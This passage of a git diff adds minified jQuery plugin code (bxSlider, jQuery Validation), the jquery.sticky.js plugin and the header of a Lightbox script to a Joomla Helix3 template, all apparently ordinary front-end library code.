r.goToSlide=function(e,i){if(!o.working&&o.active.index!=e)if(o.working=!0,o.oldIndex=o.active.index,o.active.index=0>e?v()-1:e>=v()?0:e,o.settings.onSlideBefore(o.children.eq(o.active.index),o.oldIndex,o.active.index),"next"==i?o.settings.onSlideNext(o.children.eq(o.active.index),o.oldIndex,o.active.index):"prev"==i&&o.settings.onSlidePrev(o.children.eq(o.active.index),o.oldIndex,o.active.index),o.active.last=o.active.index>=v()-1,o.settings.pager&&D(o.active.index),o.settings.controls&&P(),"fade"==o.settings.mode)o.settings.adaptiveHeight&&o.viewport.height()!=p()&&o.viewport.animate({height:p()},o.settings.adaptiveHeightSpeed),o.children.filter(":visible").fadeOut(o.settings.speed).css({zIndex:0}),o.children.eq(o.active.index).css("zIndex",o.settings.slideZIndex+1).fadeIn(o.settings.speed,function(){t(this).css("zIndex",o.settings.slideZIndex),O()});else{o.settings.adaptiveHeight&&o.viewport.height()!=p()&&o.viewport.animate({height:p()},o.settings.adaptiveHeightSpeed);var n=0,s={left:0,top:0};if(!o.settings.infiniteLoop&&o.carousel&&o.active.last)if("horizontal"==o.settings.mode){var a=o.children.eq(o.children.length-1);s=a.position(),n=o.viewport.width()-a.outerWidth()}else{var l=o.children.length-o.settings.minSlides;s=o.children.eq(l).position()}else if(o.carousel&&o.active.last&&"prev"==i){var d=1==o.settings.moveSlides?o.settings.maxSlides-b():(v()-1)*b()-(o.children.length-o.settings.maxSlides),a=r.children(".bx-clone").eq(d);s=a.position()}else if("next"==i&&0==o.active.index)s=r.find("> .bx-clone").eq(o.settings.maxSlides).position(),o.active.last=!1;else if(e>=0){var h=e*b();s=o.children.eq(h).position()}if("undefined"!=typeof s){var c="horizontal"==o.settings.mode?-(s.left-n):-s.top;x(c,"slide",o.settings.speed)}}},r.goToNextSlide=function(){if(o.settings.infiniteLoop||!o.active.last){var t=parseInt(o.active.index)+1;r.goToSlide(t,"next")}},r.goToPrevSlide=function(){if(o.settings.infiniteLoop||0!=o.active.index){var t=parseInt(o.active.index)-1;r.goToSlide(t,"prev")}},r.startAuto=function(t){o.interval||(o.interval=setInterval(function(){"next"==o.settings.autoDirection?r.goToNextSlide():r.goToPrevSlide()},o.settings.pause),o.settings.autoControls&&1!=t&&R("stop"))},r.stopAuto=function(t){o.interval&&(clearInterval(o.interval),o.interval=null,o.settings.autoControls&&1!=t&&R("start"))},r.getCurrentSlide=function(){return o.active.index},r.getCurrentSlideElement=function(){return o.children.eq(o.active.index)},r.getSlideCount=function(){return o.children.length},r.redrawSlider=function(){o.children.add(r.find(".bx-clone")).outerWidth(g()),o.viewport.css("height",p()),o.settings.ticker||y(),o.active.last&&(o.active.index=v()-1),o.active.index>=v()&&(o.active.last=!0),o.settings.pager&&!o.settings.pagerCustom&&(w(),D(o.active.index))},r.destroySlider=function(){o.initialized&&(o.initialized=!1,t(".bx-clone",this).remove(),o.children.each(function(){void 0!=t(this).data("origStyle")?t(this).attr("style",t(this).data("origStyle")):t(this).removeAttr("style")}),void 0!=t(this).data("origStyle")?this.attr("style",t(this).data("origStyle")):t(this).removeAttr("style"),t(this).unwrap().unwrap(),o.controls.el&&o.controls.el.remove(),o.controls.next&&o.controls.next.remove(),o.controls.prev&&o.controls.prev.remove(),o.pagerEl&&o.settings.controls&&o.pagerEl.remove(),t(".bx-caption",this).remove(),o.controls.autoEl&&o.controls.autoEl.remove(),clearInterval(o.interval),o.settings.responsive&&t(window).unbind("resize",W))},r.reloadSlider=function(t){void 0!=t&&(s=t),r.destroySlider(),d()},d(),this}}(jQuery),!function(t){"function"==typeof define&&define.amd?define(["jquery"],t):t(jQuery)}(function(t){t.extend(t.fn,{validate:function(e){if(!this.length)return void(e&&e.debug&&window.console&&console.warn("Nothing selected, can't validate, returning nothing."));var i=t.data(this[0],"validator");return i?i:(this.attr("novalidate","novalidate"),i=new t.validator(e,this[0]),t.data(this[0],"validator",i),i.settings.onsubmit&&(this.on("click.validate",":submit",function(e){i.settings.submitHandler&&(i.submitButton=e.target),t(this).hasClass("cancel")&&(i.cancelSubmit=!0),void 0!==t(this).attr("formnovalidate")&&(i.cancelSubmit=!0)}),this.on("submit.validate",function(e){function n(){var n,s;return i.settings.submitHandler?(i.submitButton&&(n=t(" ").attr("name",i.submitButton.name).val(t(i.submitButton).val()).appendTo(i.currentForm)),s=i.settings.submitHandler.call(i,i.currentForm,e),i.submitButton&&n.remove(),void 0!==s?s:!1):!0}return i.settings.debug&&e.preventDefault(),i.cancelSubmit?(i.cancelSubmit=!1,n()):i.form()?i.pendingRequest?(i.formSubmitted=!0,!1):n():(i.focusInvalid(),!1)})),i)},valid:function(){var e,i,n;return t(this[0]).is("form")?e=this.validate().form():(n=[],e=!0,i=t(this[0].form).validate(),this.each(function(){e=i.element(this)&&e,n=n.concat(i.errorList)}),i.errorList=n),e},rules:function(e,i){var n,s,o,r,a,l,d=this[0];if(e)switch(n=t.data(d.form,"validator").settings,s=n.rules,o=t.validator.staticRules(d),e){case"add":t.extend(o,t.validator.normalizeRule(i)),delete o.messages,s[d.name]=o,i.messages&&(n.messages[d.name]=t.extend(n.messages[d.name],i.messages));
+break;case"remove":return i?(l={},t.each(i.split(/\s/),function(e,i){l[i]=o[i],delete o[i],"required"===i&&t(d).removeAttr("aria-required")}),l):(delete s[d.name],o)}return r=t.validator.normalizeRules(t.extend({},t.validator.classRules(d),t.validator.attributeRules(d),t.validator.dataRules(d),t.validator.staticRules(d)),d),r.required&&(a=r.required,delete r.required,r=t.extend({required:a},r),t(d).attr("aria-required","true")),r.remote&&(a=r.remote,delete r.remote,r=t.extend(r,{remote:a})),r}}),t.extend(t.expr[":"],{blank:function(e){return!t.trim(""+t(e).val())},filled:function(e){return!!t.trim(""+t(e).val())},unchecked:function(e){return!t(e).prop("checked")}}),t.validator=function(e,i){this.settings=t.extend(!0,{},t.validator.defaults,e),this.currentForm=i,this.init()},t.validator.format=function(e,i){return 1===arguments.length?function(){var i=t.makeArray(arguments);return i.unshift(e),t.validator.format.apply(this,i)}:(arguments.length>2&&i.constructor!==Array&&(i=t.makeArray(arguments).slice(1)),i.constructor!==Array&&(i=[i]),t.each(i,function(t,i){e=e.replace(new RegExp("\\{"+t+"\\}","g"),function(){return i})}),e)},t.extend(t.validator,{defaults:{messages:{},groups:{},rules:{},errorClass:"error",validClass:"valid",errorElement:"label",focusCleanup:!1,focusInvalid:!0,errorContainer:t([]),errorLabelContainer:t([]),onsubmit:!0,ignore:":hidden",ignoreTitle:!1,onfocusin:function(t){this.lastActive=t,this.settings.focusCleanup&&(this.settings.unhighlight&&this.settings.unhighlight.call(this,t,this.settings.errorClass,this.settings.validClass),this.hideThese(this.errorsFor(t)))},onfocusout:function(t){this.checkable(t)||!(t.name in this.submitted)&&this.optional(t)||this.element(t)},onkeyup:function(e,i){var n=[16,17,18,20,35,36,37,38,39,40,45,144,225];9===i.which&&""===this.elementValue(e)||-1!==t.inArray(i.keyCode,n)||(e.name in this.submitted||e===this.lastElement)&&this.element(e)},onclick:function(t){t.name in this.submitted?this.element(t):t.parentNode.name in this.submitted&&this.element(t.parentNode)},highlight:function(e,i,n){"radio"===e.type?this.findByName(e.name).addClass(i).removeClass(n):t(e).addClass(i).removeClass(n)},unhighlight:function(e,i,n){"radio"===e.type?this.findByName(e.name).removeClass(i).addClass(n):t(e).removeClass(i).addClass(n)}},setDefaults:function(e){t.extend(t.validator.defaults,e)},messages:{required:"This field is required.",remote:"Please fix this field.",email:"Please enter a valid email address.",url:"Please enter a valid URL.",date:"Please enter a valid date.",dateISO:"Please enter a valid date ( ISO ).",number:"Please enter a valid number.",digits:"Please enter only digits.",creditcard:"Please enter a valid credit card number.",equalTo:"Please enter the same value again.",maxlength:t.validator.format("Please enter no more than {0} characters."),minlength:t.validator.format("Please enter at least {0} characters."),rangelength:t.validator.format("Please enter a value between {0} and {1} characters long."),range:t.validator.format("Please enter a value between {0} and {1}."),max:t.validator.format("Please enter a value less than or equal to {0}."),min:t.validator.format("Please enter a value greater than or equal to {0}.")},autoCreateRanges:!1,prototype:{init:function(){function e(e){var i=t.data(this.form,"validator"),n="on"+e.type.replace(/^validate/,""),s=i.settings;s[n]&&!t(this).is(s.ignore)&&s[n].call(i,this,e)}this.labelContainer=t(this.settings.errorLabelContainer),this.errorContext=this.labelContainer.length&&this.labelContainer||t(this.currentForm),this.containers=t(this.settings.errorContainer).add(this.settings.errorLabelContainer),this.submitted={},this.valueCache={},this.pendingRequest=0,this.pending={},this.invalid={},this.reset();var i,n=this.groups={};t.each(this.settings.groups,function(e,i){"string"==typeof i&&(i=i.split(/\s/)),t.each(i,function(t,i){n[i]=e})}),i=this.settings.rules,t.each(i,function(e,n){i[e]=t.validator.normalizeRule(n)}),t(this.currentForm).on("focusin.validate focusout.validate keyup.validate",":text, [type='password'], [type='file'], select, textarea, [type='number'], [type='search'], [type='tel'], [type='url'], [type='email'], [type='datetime'], [type='date'], [type='month'], [type='week'], [type='time'], [type='datetime-local'], [type='range'], [type='color'], [type='radio'], [type='checkbox']",e).on("click.validate","select, option, [type='radio'], [type='checkbox']",e),this.settings.invalidHandler&&t(this.currentForm).on("invalid-form.validate",this.settings.invalidHandler),t(this.currentForm).find("[required], [data-rule-required], .required").attr("aria-required","true")},form:function(){return this.checkForm(),t.extend(this.submitted,this.errorMap),this.invalid=t.extend({},this.errorMap),this.valid()||t(this.currentForm).triggerHandler("invalid-form",[this]),this.showErrors(),this.valid()},checkForm:function(){this.prepareForm();for(var t=0,e=this.currentElements=this.elements();e[t];t++)this.check(e[t]);return this.valid()},element:function(e){var i=this.clean(e),n=this.validationTargetFor(i),s=!0;return this.lastElement=n,void 0===n?delete this.invalid[i.name]:(this.prepareElement(n),this.currentElements=t(n),s=this.check(n)!==!1,s?delete this.invalid[n.name]:this.invalid[n.name]=!0),t(e).attr("aria-invalid",!s),this.numberOfInvalids()||(this.toHide=this.toHide.add(this.containers)),this.showErrors(),s},showErrors:function(e){if(e){t.extend(this.errorMap,e),this.errorList=[];for(var i in e)this.errorList.push({message:e[i],element:this.findByName(i)[0]});this.successList=t.grep(this.successList,function(t){return!(t.name in e)})}this.settings.showErrors?this.settings.showErrors.call(this,this.errorMap,this.errorList):this.defaultShowErrors()},resetForm:function(){t.fn.resetForm&&t(this.currentForm).resetForm(),this.submitted={},this.lastElement=null,this.prepareForm(),this.hideErrors();var e,i=this.elements().removeData("previousValue").removeAttr("aria-invalid");if(this.settings.unhighlight)for(e=0;i[e];e++)this.settings.unhighlight.call(this,i[e],this.settings.errorClass,"");else i.removeClass(this.settings.errorClass)},numberOfInvalids:function(){return this.objectLength(this.invalid)},objectLength:function(t){var e,i=0;for(e in t)i++;return i},hideErrors:function(){this.hideThese(this.toHide)},hideThese:function(t){t.not(this.containers).text(""),this.addWrapper(t).hide()},valid:function(){return 0===this.size()},size:function(){return this.errorList.length},focusInvalid:function(){if(this.settings.focusInvalid)try{t(this.findLastActive()||this.errorList.length&&this.errorList[0].element||[]).filter(":visible").focus().trigger("focusin")}catch(e){}},findLastActive:function(){var e=this.lastActive;return e&&1===t.grep(this.errorList,function(t){return t.element.name===e.name}).length&&e},elements:function(){var e=this,i={};return t(this.currentForm).find("input, select, textarea").not(":submit, :reset, :image, :disabled").not(this.settings.ignore).filter(function(){return!this.name&&e.settings.debug&&window.console&&console.error("%o has no name assigned",this),this.name in i||!e.objectLength(t(this).rules())?!1:(i[this.name]=!0,!0)})},clean:function(e){return t(e)[0]},errors:function(){var e=this.settings.errorClass.split(" ").join(".");return t(this.settings.errorElement+"."+e,this.errorContext)},reset:function(){this.successList=[],this.errorList=[],this.errorMap={},this.toShow=t([]),this.toHide=t([]),this.currentElements=t([])},prepareForm:function(){this.reset(),this.toHide=this.errors().add(this.containers)},prepareElement:function(t){this.reset(),this.toHide=this.errorsFor(t)},elementValue:function(e){var i,n=t(e),s=e.type;return"radio"===s||"checkbox"===s?this.findByName(e.name).filter(":checked").val():"number"===s&&"undefined"!=typeof e.validity?e.validity.badInput?!1:n.val():(i=n.val(),"string"==typeof i?i.replace(/\r/g,""):i)},check:function(e){e=this.validationTargetFor(this.clean(e));var i,n,s,o=t(e).rules(),r=t.map(o,function(t,e){return e}).length,a=!1,l=this.elementValue(e);for(n in o){s={method:n,parameters:o[n]};try{if(i=t.validator.methods[n].call(this,l,e,s.parameters),"dependency-mismatch"===i&&1===r){a=!0;continue}if(a=!1,"pending"===i)return void(this.toHide=this.toHide.not(this.errorsFor(e)));if(!i)return this.formatAndAdd(e,s),!1}catch(d){throw this.settings.debug&&window.console&&console.log("Exception occurred when checking element "+e.id+", check the '"+s.method+"' method.",d),d instanceof TypeError&&(d.message+=". Exception occurred when checking element "+e.id+", check the '"+s.method+"' method."),d}}return a?void 0:(this.objectLength(o)&&this.successList.push(e),!0)},customDataMessage:function(e,i){return t(e).data("msg"+i.charAt(0).toUpperCase()+i.substring(1).toLowerCase())||t(e).data("msg")},customMessage:function(t,e){var i=this.settings.messages[t];return i&&(i.constructor===String?i:i[e])},findDefined:function(){for(var t=0;tWarning: No message defined for "+e.name+"")},formatAndAdd:function(e,i){var n=this.defaultMessage(e,i.method),s=/\$?\{(\d+)\}/g;"function"==typeof n?n=n.call(this,i.parameters,e):s.test(n)&&(n=t.validator.format(n.replace(s,"{$1}"),i.parameters)),this.errorList.push({message:n,element:e,method:i.method}),this.errorMap[e.name]=n,this.submitted[e.name]=n},addWrapper:function(t){return this.settings.wrapper&&(t=t.add(t.parent(this.settings.wrapper))),t},defaultShowErrors:function(){var t,e,i;for(t=0;this.errorList[t];t++)i=this.errorList[t],this.settings.highlight&&this.settings.highlight.call(this,i.element,this.settings.errorClass,this.settings.validClass),this.showLabel(i.element,i.message);if(this.errorList.length&&(this.toShow=this.toShow.add(this.containers)),this.settings.success)for(t=0;this.successList[t];t++)this.showLabel(this.successList[t]);if(this.settings.unhighlight)for(t=0,e=this.validElements();e[t];t++)this.settings.unhighlight.call(this,e[t],this.settings.errorClass,this.settings.validClass);this.toHide=this.toHide.not(this.toShow),this.hideErrors(),this.addWrapper(this.toShow).show()},validElements:function(){return this.currentElements.not(this.invalidElements())},invalidElements:function(){return t(this.errorList).map(function(){return this.element})},showLabel:function(e,i){var n,s,o,r=this.errorsFor(e),a=this.idOrName(e),l=t(e).attr("aria-describedby");r.length?(r.removeClass(this.settings.validClass).addClass(this.settings.errorClass),r.html(i)):(r=t("<"+this.settings.errorElement+">").attr("id",a+"-error").addClass(this.settings.errorClass).html(i||""),n=r,this.settings.wrapper&&(n=r.hide().show().wrap("<"+this.settings.wrapper+"/>").parent()),this.labelContainer.length?this.labelContainer.append(n):this.settings.errorPlacement?this.settings.errorPlacement(n,t(e)):n.insertAfter(e),r.is("label")?r.attr("for",a):0===r.parents("label[for='"+a+"']").length&&(o=r.attr("id").replace(/(:|\.|\[|\]|\$)/g,"\\$1"),l?l.match(new RegExp("\\b"+o+"\\b"))||(l+=" "+o):l=o,t(e).attr("aria-describedby",l),s=this.groups[e.name],s&&t.each(this.groups,function(e,i){i===s&&t("[name='"+e+"']",this.currentForm).attr("aria-describedby",r.attr("id"))}))),!i&&this.settings.success&&(r.text(""),"string"==typeof this.settings.success?r.addClass(this.settings.success):this.settings.success(r,e)),this.toShow=this.toShow.add(r)},errorsFor:function(e){var i=this.idOrName(e),n=t(e).attr("aria-describedby"),s="label[for='"+i+"'], label[for='"+i+"'] *";return n&&(s=s+", #"+n.replace(/\s+/g,", #")),this.errors().filter(s)},idOrName:function(t){return this.groups[t.name]||(this.checkable(t)?t.name:t.id||t.name)},validationTargetFor:function(e){return this.checkable(e)&&(e=this.findByName(e.name)),t(e).not(this.settings.ignore)[0]},checkable:function(t){return/radio|checkbox/i.test(t.type)},findByName:function(e){return t(this.currentForm).find("[name='"+e+"']")},getLength:function(e,i){switch(i.nodeName.toLowerCase()){case"select":return t("option:selected",i).length;case"input":if(this.checkable(i))return this.findByName(i.name).filter(":checked").length}return e.length},depend:function(t,e){return this.dependTypes[typeof t]?this.dependTypes[typeof t](t,e):!0},dependTypes:{"boolean":function(t){return t},string:function(e,i){return!!t(e,i.form).length},"function":function(t,e){return t(e)}},optional:function(e){var i=this.elementValue(e);return!t.validator.methods.required.call(this,i,e)&&"dependency-mismatch"},startRequest:function(t){this.pending[t.name]||(this.pendingRequest++,this.pending[t.name]=!0)},stopRequest:function(e,i){this.pendingRequest--,this.pendingRequest<0&&(this.pendingRequest=0),delete this.pending[e.name],i&&0===this.pendingRequest&&this.formSubmitted&&this.form()?(t(this.currentForm).submit(),this.formSubmitted=!1):!i&&0===this.pendingRequest&&this.formSubmitted&&(t(this.currentForm).triggerHandler("invalid-form",[this]),this.formSubmitted=!1)},previousValue:function(e){return t.data(e,"previousValue")||t.data(e,"previousValue",{old:null,valid:!0,message:this.defaultMessage(e,"remote")})},destroy:function(){this.resetForm(),t(this.currentForm).off(".validate").removeData("validator")}},classRuleSettings:{required:{required:!0},email:{email:!0},url:{url:!0},date:{date:!0},dateISO:{dateISO:!0},number:{number:!0},digits:{digits:!0},creditcard:{creditcard:!0}},addClassRules:function(e,i){e.constructor===String?this.classRuleSettings[e]=i:t.extend(this.classRuleSettings,e)},classRules:function(e){var i={},n=t(e).attr("class");return n&&t.each(n.split(" "),function(){this in t.validator.classRuleSettings&&t.extend(i,t.validator.classRuleSettings[this])}),i},normalizeAttributeRule:function(t,e,i,n){/min|max/.test(i)&&(null===e||/number|range|text/.test(e))&&(n=Number(n),isNaN(n)&&(n=void 0)),n||0===n?t[i]=n:e===i&&"range"!==e&&(t[i]=!0)},attributeRules:function(e){var i,n,s={},o=t(e),r=e.getAttribute("type");for(i in t.validator.methods)"required"===i?(n=e.getAttribute(i),""===n&&(n=!0),n=!!n):n=o.attr(i),this.normalizeAttributeRule(s,r,i,n);return s.maxlength&&/-1|2147483647|524288/.test(s.maxlength)&&delete s.maxlength,s},dataRules:function(e){var i,n,s={},o=t(e),r=e.getAttribute("type");for(i in t.validator.methods)n=o.data("rule"+i.charAt(0).toUpperCase()+i.substring(1).toLowerCase()),this.normalizeAttributeRule(s,r,i,n);return s},staticRules:function(e){var i={},n=t.data(e.form,"validator");return n.settings.rules&&(i=t.validator.normalizeRule(n.settings.rules[e.name])||{}),i},normalizeRules:function(e,i){return t.each(e,function(n,s){if(s===!1)return void delete e[n];if(s.param||s.depends){var o=!0;switch(typeof s.depends){case"string":o=!!t(s.depends,i.form).length;break;case"function":o=s.depends.call(i,i)}o?e[n]=void 0!==s.param?s.param:!0:delete e[n]}}),t.each(e,function(n,s){e[n]=t.isFunction(s)?s(i):s}),t.each(["minlength","maxlength"],function(){e[this]&&(e[this]=Number(e[this]))}),t.each(["rangelength","range"],function(){var i;e[this]&&(t.isArray(e[this])?e[this]=[Number(e[this][0]),Number(e[this][1])]:"string"==typeof e[this]&&(i=e[this].replace(/[\[\]]/g,"").split(/[\s,]+/),e[this]=[Number(i[0]),Number(i[1])]))}),t.validator.autoCreateRanges&&(null!=e.min&&null!=e.max&&(e.range=[e.min,e.max],delete e.min,delete e.max),null!=e.minlength&&null!=e.maxlength&&(e.rangelength=[e.minlength,e.maxlength],delete e.minlength,delete e.maxlength)),e},normalizeRule:function(e){if("string"==typeof e){var i={};t.each(e.split(/\s/),function(){i[this]=!0}),e=i}return e},addMethod:function(e,i,n){t.validator.methods[e]=i,t.validator.messages[e]=void 0!==n?n:t.validator.messages[e],i.length<3&&t.validator.addClassRules(e,t.validator.normalizeRule(e))},methods:{required:function(e,i,n){if(!this.depend(n,i))return"dependency-mismatch";if("select"===i.nodeName.toLowerCase()){var s=t(i).val();return s&&s.length>0}return this.checkable(i)?this.getLength(e,i)>0:e.length>0},email:function(t,e){return this.optional(e)||/^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/.test(t)},url:function(t,e){return this.optional(e)||/^(?:(?:(?:https?|ftp):)?\/\/)(?:\S+(?::\S*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z\u00a1-\uffff0-9]-*)*[a-z\u00a1-\uffff0-9]+)(?:\.(?:[a-z\u00a1-\uffff0-9]-*)*[a-z\u00a1-\uffff0-9]+)*(?:\.(?:[a-z\u00a1-\uffff]{2,})).?)(?::\d{2,5})?(?:[/?#]\S*)?$/i.test(t)},date:function(t,e){return this.optional(e)||!/Invalid|NaN/.test(new Date(t).toString())},dateISO:function(t,e){return this.optional(e)||/^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/.test(t)},number:function(t,e){return this.optional(e)||/^(?:-?\d+|-?\d{1,3}(?:,\d{3})+)?(?:\.\d+)?$/.test(t)},digits:function(t,e){return this.optional(e)||/^\d+$/.test(t)},creditcard:function(t,e){if(this.optional(e))return"dependency-mismatch";if(/[^0-9 \-]+/.test(t))return!1;var i,n,s=0,o=0,r=!1;if(t=t.replace(/\D/g,""),t.length<13||t.length>19)return!1;for(i=t.length-1;i>=0;i--)n=t.charAt(i),o=parseInt(n,10),r&&(o*=2)>9&&(o-=9),s+=o,r=!r;return s%10===0},minlength:function(e,i,n){var s=t.isArray(e)?e.length:this.getLength(e,i);return this.optional(i)||s>=n},maxlength:function(e,i,n){var s=t.isArray(e)?e.length:this.getLength(e,i);return this.optional(i)||n>=s},rangelength:function(e,i,n){var s=t.isArray(e)?e.length:this.getLength(e,i);return this.optional(i)||s>=n[0]&&s<=n[1]},min:function(t,e,i){return this.optional(e)||t>=i},max:function(t,e,i){return this.optional(e)||i>=t},range:function(t,e,i){return this.optional(e)||t>=i[0]&&t<=i[1]},equalTo:function(e,i,n){var s=t(n);return this.settings.onfocusout&&s.off(".validate-equalTo").on("blur.validate-equalTo",function(){t(i).valid()}),e===s.val()},remote:function(e,i,n){if(this.optional(i))return"dependency-mismatch";var s,o,r=this.previousValue(i);return this.settings.messages[i.name]||(this.settings.messages[i.name]={}),r.originalMessage=this.settings.messages[i.name].remote,this.settings.messages[i.name].remote=r.message,n="string"==typeof n&&{url:n}||n,r.old===e?r.valid:(r.old=e,s=this,this.startRequest(i),o={},o[i.name]=e,t.ajax(t.extend(!0,{mode:"abort",port:"validate"+i.name,dataType:"json",data:o,context:s.currentForm,success:function(n){var o,a,l,d=n===!0||"true"===n;s.settings.messages[i.name].remote=r.originalMessage,d?(l=s.formSubmitted,s.prepareElement(i),s.formSubmitted=l,s.successList.push(i),delete s.invalid[i.name],s.showErrors()):(o={},a=n||s.defaultMessage(i,"remote"),o[i.name]=r.message=t.isFunction(a)?a(e):a,s.invalid[i.name]=!0,s.showErrors(o)),r.valid=d,s.stopRequest(i,d)}},n)),"pending")}}});var e,i={};t.ajaxPrefilter?t.ajaxPrefilter(function(t,e,n){var s=t.port;"abort"===t.mode&&(i[s]&&i[s].abort(),i[s]=n)}):(e=t.ajax,t.ajax=function(n){var s=("mode"in n?n:t.ajaxSettings).mode,o=("port"in n?n:t.ajaxSettings).port;return"abort"===s?(i[o]&&i[o].abort(),i[o]=e.apply(this,arguments),i[o]):e.apply(this,arguments)})});
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/js/jquery.sticky.js b/deployed/helix3/templates/shaper_helix3/js/jquery.sticky.js
new file mode 100644
index 00000000..7417c478
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/js/jquery.sticky.js
@@ -0,0 +1,172 @@
+// Sticky Plugin v1.0.0 for jQuery
+// =============
+// Author: Anthony Garand
+// Improvements by German M. Bravo (Kronuz) and Ruud Kamphuis (ruudk)
+// Improvements by Leonardo C. Daronco (daronco)
+// Created: 2/14/2011
+// Date: 2/12/2012
+// Website: http://labs.anthonygarand.com/sticky
+// Description: Makes an element on the page stick on the screen as you scroll
+// It will only set the 'top' and 'position' of your element, you
+// might need to adjust the width in some cases.
+
+(function($) {
+ var defaults = {
+ topSpacing: 0,
+ bottomSpacing: 0,
+ className: 'is-sticky',
+ wrapperClassName: 'sticky-wrapper',
+ center: false,
+ getWidthFrom: '',
+ responsiveWidth: false
+ },
+ $window = $(window),
+ $document = $(document),
+ sticked = [],
+ windowHeight = $window.height(),
+ scroller = function() {
+ var scrollTop = $window.scrollTop(),
+ documentHeight = $document.height(),
+ dwh = documentHeight - windowHeight,
+ extra = (scrollTop > dwh) ? dwh - scrollTop : 0;
+
+ for (var i = 0; i < sticked.length; i++) {
+ var s = sticked[i],
+ elementTop = s.stickyWrapper.offset().top,
+ etse = elementTop - s.topSpacing - extra;
+
+ if (scrollTop <= etse) {
+ if (s.currentTop !== null) {
+ s.stickyElement
+ .css('width', '')
+ .css('position', '')
+ .css('top', '');
+ s.stickyElement.trigger('sticky-end', [s]).parent().removeClass(s.className);
+ s.currentTop = null;
+ }
+ }
+ else {
+ var newTop = documentHeight - s.stickyElement.outerHeight()
+ - s.topSpacing - s.bottomSpacing - scrollTop - extra;
+ if (newTop < 0) {
+ newTop = newTop + s.topSpacing;
+ } else {
+ newTop = s.topSpacing;
+ }
+ if (s.currentTop != newTop) {
+ s.stickyElement
+ .css('width', s.stickyElement.width())
+ .css('position', 'fixed')
+ .css('top', newTop);
+
+ if (typeof s.getWidthFrom !== 'undefined') {
+ s.stickyElement.css('width', $(s.getWidthFrom).width());
+ }
+
+ s.stickyElement.trigger('sticky-start', [s]).parent().addClass(s.className);
+ s.currentTop = newTop;
+ }
+ }
+ }
+ },
+ resizer = function() {
+ windowHeight = $window.height();
+
+ for (var i = 0; i < sticked.length; i++) {
+ var s = sticked[i];
+ if (typeof s.getWidthFrom !== 'undefined' && s.responsiveWidth === true) {
+ s.stickyElement.css('width', $(s.getWidthFrom).width());
+ }
+ }
+ },
+ methods = {
+ init: function(options) {
+ var o = $.extend({}, defaults, options);
+ return this.each(function() {
+ var stickyElement = $(this);
+
+ var stickyId = stickyElement.attr('id');
+ var wrapperId = stickyId ? stickyId + '-' + defaults.wrapperClassName : defaults.wrapperClassName
+ var wrapper = $('
')
+ .attr('id', stickyId + '-sticky-wrapper')
+ .addClass(o.wrapperClassName);
+ stickyElement.wrapAll(wrapper);
+
+ if (o.center) {
+ stickyElement.parent().css({width:stickyElement.outerWidth(),marginLeft:"auto",marginRight:"auto"});
+ }
+
+ if (stickyElement.css("float") == "right") {
+ stickyElement.css({"float":"none"}).parent().css({"float":"right"});
+ }
+
+ var stickyWrapper = stickyElement.parent();
+ stickyWrapper.css('height', stickyElement.outerHeight());
+ sticked.push({
+ topSpacing: o.topSpacing,
+ bottomSpacing: o.bottomSpacing,
+ stickyElement: stickyElement,
+ currentTop: null,
+ stickyWrapper: stickyWrapper,
+ className: o.className,
+ getWidthFrom: o.getWidthFrom,
+ responsiveWidth: o.responsiveWidth
+ });
+ });
+ },
+ update: scroller,
+ unstick: function(options) {
+ return this.each(function() {
+ var unstickyElement = $(this);
+
+ var removeIdx = -1;
+ for (var i = 0; i < sticked.length; i++)
+ {
+ if (sticked[i].stickyElement.get(0) == unstickyElement.get(0))
+ {
+ removeIdx = i;
+ }
+ }
+ if(removeIdx != -1)
+ {
+ sticked.splice(removeIdx,1);
+ unstickyElement.unwrap();
+ unstickyElement.removeAttr('style');
+ }
+ });
+ }
+ };
+
+ // should be more efficient than using $window.scroll(scroller) and $window.resize(resizer):
+ if (window.addEventListener) {
+ window.addEventListener('scroll', scroller, false);
+ window.addEventListener('resize', resizer, false);
+ } else if (window.attachEvent) {
+ window.attachEvent('onscroll', scroller);
+ window.attachEvent('onresize', resizer);
+ }
+
+ $.fn.sticky = function(method) {
+ if (methods[method]) {
+ return methods[method].apply(this, Array.prototype.slice.call(arguments, 1));
+ } else if (typeof method === 'object' || !method ) {
+ return methods.init.apply( this, arguments );
+ } else {
+ $.error('Method ' + method + ' does not exist on jQuery.sticky');
+ }
+ };
+
+ $.fn.unstick = function(method) {
+ if (methods[method]) {
+ return methods[method].apply(this, Array.prototype.slice.call(arguments, 1));
+ } else if (typeof method === 'object' || !method ) {
+ return methods.unstick.apply( this, arguments );
+ } else {
+ $.error('Method ' + method + ' does not exist on jQuery.sticky');
+ }
+
+ };
+ $(function() {
+ setTimeout(scroller, 0);
+ });
+})(jQuery);
diff --git a/deployed/helix3/templates/shaper_helix3/js/lightbox-plus-jquery.min.js b/deployed/helix3/templates/shaper_helix3/js/lightbox-plus-jquery.min.js
new file mode 100644
index 00000000..e4689f4c
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/js/lightbox-plus-jquery.min.js
@@ -0,0 +1,444 @@
+/*!
+ * Lightbox v2.8.1
+ * by Lokesh Dhakar
+ *
+ * More info:
+ * http://lokeshdhakar.com/projects/lightbox2/
+ *
+ * Copyright 2007, 2015 Lokesh Dhakar
+ * Released under the MIT license
+ * https://github.com/lokesh/lightbox2/blob/master/LICENSE
+ */
+
+// Uses Node, AMD or browser globals to create a module.
+(function (root, factory) {
+ if (typeof define === 'function' && define.amd) {
+ // AMD. Register as an anonymous module.
+ define(['jquery'], factory);
+ } else if (typeof exports === 'object') {
+ // Node. Does not work with strict CommonJS, but
+ // only CommonJS-like environments that support module.exports,
+ // like Node.
+ module.exports = factory(require('jquery'));
+ } else {
+ // Browser globals (root is window)
+ root.lightbox = factory(root.jQuery);
+ }
